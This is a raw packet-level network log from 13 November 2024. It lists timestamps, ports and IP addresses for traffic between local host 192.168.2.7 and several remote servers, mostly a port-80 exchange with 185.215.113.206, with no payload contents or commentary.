Nov 13, 2024 14:41:33.310081959 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.310122013 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.310139894 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.310152054 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.310163021 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.310175896 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.310206890 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.310209990 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.310221910 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.310233116 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.310246944 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.310256958 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.310260057 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.310270071 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.310273886 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.310286999 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.310300112 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.310326099 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.310326099 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.310340881 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.310354948 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.310378075 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.310395002 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.310405016 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.310416937 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.310431004 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.310442924 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.310446978 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.310470104 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.310492039 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.310493946 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.310506105 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.310518980 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.310529947 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.310530901 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.310540915 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.310542107 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.310566902 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.310586929 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.310616970 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.310630083 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.310642004 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.310655117 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.310667992 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.310672998 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.310693026 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.310699940 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.310709000 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.310714960 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.310728073 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.310734034 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.310740948 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.310753107 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.310754061 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.310771942 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.310785055 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.310858011 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.310869932 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.310882092 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.310894966 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.310904980 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.310909986 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.310924053 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.310931921 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.310937881 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.310942888 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.310982943 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.311012030 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.311024904 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.311037064 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.311049938 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.311062098 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.311065912 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.311074972 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.311088085 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.311088085 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.311100006 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.311127901 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.311127901 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.311148882 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.311153889 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.311167002 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.311187983 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.311202049 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.311208010 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.311217070 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.311229944 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.311238050 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.311247110 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.311275959 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.311403036 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.311415911 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.311427116 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.311439037 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.311450958 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.311463118 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.311470032 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.311476946 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.311487913 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.311490059 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.311501026 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.311513901 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.311525106 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.311526060 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.311534882 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.311537981 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.311561108 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.311569929 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.311577082 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.311589003 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.311598063 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.311602116 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.311614990 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.311628103 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.311640978 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.311674118 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.311712980 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.311724901 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.311737061 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.311748981 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.311757088 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.311769009 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.311772108 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.311788082 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.311855078 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.311846018 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.311867952 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.311886072 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.311897993 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.311913013 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.311924934 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.311928988 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.311942101 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.311945915 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.311949015 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.311960936 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.311973095 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.311980963 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.311985970 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.311999083 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.312011003 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.312024117 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.312032938 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.312036991 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.312050104 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.312062025 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.312062025 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.312088013 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.312099934 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.312146902 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.312171936 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.312185049 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.312195063 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.312207937 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.312213898 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.312221050 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.312233925 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.312257051 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.333209038 CET	443	49896	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:33.333492994 CET	49896	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:33.333508968 CET	443	49896	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:33.333539009 CET	443	49892	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:33.333874941 CET	49892	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:33.333894014 CET	443	49892	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:33.334351063 CET	443	49892	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:33.334563017 CET	443	49896	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:33.334620953 CET	49896	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:33.334825993 CET	49892	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:33.334904909 CET	443	49892	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:33.335051060 CET	443	49886	23.96.180.189	192.168.2.7
Nov 13, 2024 14:41:33.335402966 CET	49896	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:33.335469961 CET	443	49896	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:33.336484909 CET	49892	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:33.336858988 CET	49896	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:33.336867094 CET	443	49896	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:33.345813990 CET	443	49884	51.132.193.105	192.168.2.7
Nov 13, 2024 14:41:33.346091032 CET	49884	443	192.168.2.7	51.132.193.105
Nov 13, 2024 14:41:33.346110106 CET	443	49884	51.132.193.105	192.168.2.7
Nov 13, 2024 14:41:33.347162962 CET	443	49884	51.132.193.105	192.168.2.7
Nov 13, 2024 14:41:33.347280979 CET	49884	443	192.168.2.7	51.132.193.105
Nov 13, 2024 14:41:33.348344088 CET	49884	443	192.168.2.7	51.132.193.105
Nov 13, 2024 14:41:33.348421097 CET	443	49884	51.132.193.105	192.168.2.7
Nov 13, 2024 14:41:33.348517895 CET	49884	443	192.168.2.7	51.132.193.105
Nov 13, 2024 14:41:33.348527908 CET	443	49884	51.132.193.105	192.168.2.7
Nov 13, 2024 14:41:33.348577023 CET	49884	443	192.168.2.7	51.132.193.105
Nov 13, 2024 14:41:33.348603964 CET	443	49884	51.132.193.105	192.168.2.7
Nov 13, 2024 14:41:33.348980904 CET	443	49893	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:33.349152088 CET	49893	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:33.349162102 CET	443	49893	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:33.358658075 CET	443	49886	23.96.180.189	192.168.2.7
Nov 13, 2024 14:41:33.358719110 CET	49886	443	192.168.2.7	23.96.180.189
Nov 13, 2024 14:41:33.358886957 CET	49886	443	192.168.2.7	23.96.180.189
Nov 13, 2024 14:41:33.358901978 CET	443	49886	23.96.180.189	192.168.2.7
Nov 13, 2024 14:41:33.364644051 CET	443	49893	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:33.364715099 CET	49893	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:33.365169048 CET	49893	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:33.365246058 CET	443	49893	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:33.365472078 CET	49893	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:33.365480900 CET	443	49893	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:33.366620064 CET	49910	443	192.168.2.7	23.96.180.189
Nov 13, 2024 14:41:33.366662979 CET	443	49910	23.96.180.189	192.168.2.7
Nov 13, 2024 14:41:33.367043018 CET	49910	443	192.168.2.7	23.96.180.189
Nov 13, 2024 14:41:33.367043018 CET	49910	443	192.168.2.7	23.96.180.189
Nov 13, 2024 14:41:33.367077112 CET	443	49910	23.96.180.189	192.168.2.7
Nov 13, 2024 14:41:33.383327961 CET	443	49892	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:33.384166002 CET	443	49895	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:33.384568930 CET	49895	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:33.384578943 CET	443	49895	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:33.385742903 CET	443	49895	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:33.385802984 CET	49895	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:33.386122942 CET	49895	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:33.386192083 CET	443	49895	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:33.386271000 CET	49895	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:33.386277914 CET	443	49895	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:33.386431932 CET	443	49894	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:33.386642933 CET	49894	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:33.386652946 CET	443	49894	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:33.390202999 CET	443	49894	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:33.390316963 CET	49894	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:33.390625000 CET	49894	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:33.390791893 CET	443	49894	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:33.390810013 CET	49894	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:33.407685041 CET	443	49891	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:33.407747030 CET	443	49891	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:33.407891989 CET	49891	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:33.408020020 CET	49891	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:33.408020973 CET	49891	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:33.408030987 CET	443	49891	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:33.408037901 CET	443	49891	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:33.412003994 CET	49912	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:33.412026882 CET	443	49912	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:33.412188053 CET	49912	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:33.412508011 CET	49912	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:33.412524939 CET	443	49912	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:33.414462090 CET	443	49898	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:33.414825916 CET	49898	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:33.414833069 CET	443	49898	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:33.415185928 CET	443	49898	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:33.416590929 CET	49898	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:33.416685104 CET	443	49898	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:33.416749001 CET	49898	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:33.417409897 CET	443	49897	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:33.417680025 CET	49897	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:33.417689085 CET	443	49897	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:33.418741941 CET	443	49897	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:33.418845892 CET	49897	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:33.419950962 CET	443	49900	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:33.421904087 CET	49900	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:33.421914101 CET	443	49900	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:33.422188044 CET	49897	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:33.422255993 CET	443	49897	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:33.422333956 CET	49897	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:33.422342062 CET	443	49897	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:33.424973965 CET	443	49900	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:33.425038099 CET	49900	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:33.425410986 CET	49900	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:33.425471067 CET	443	49900	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:33.425559998 CET	49900	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:33.425565958 CET	443	49900	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:33.428952932 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.428986073 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.429008961 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.429024935 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.429037094 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.429038048 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.429049969 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.429085016 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.429085016 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.429104090 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.429105043 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.429120064 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.429132938 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.429153919 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.429158926 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.429167986 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.429181099 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.429182053 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.429214954 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.429238081 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.429249048 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.429265022 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.429286957 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.429297924 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.429306030 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.429306030 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.429312944 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.429323912 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.429325104 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.429337978 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.429341078 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.429357052 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.429364920 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.429382086 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.429384947 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.429393053 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.429405928 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.429414034 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.429423094 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.429430008 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.429438114 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.429457903 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.429457903 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.429475069 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.429476976 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.429488897 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.429501057 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.429507017 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.429507017 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.429524899 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.429541111 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.429543972 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.429553032 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.429562092 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.429564953 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.429579020 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.429586887 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.429593086 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.429616928 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.429640055 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.429651976 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.429662943 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.429662943 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.429678917 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.429687023 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.429692030 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.429702997 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.429718018 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.429729939 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.429734945 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.429743052 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.429766893 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.429768085 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.429780006 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.429790020 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.429794073 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.429831028 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.429843903 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.429852009 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.429863930 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.429874897 CET	80	49832	185.215.113.206	192.168.2.7
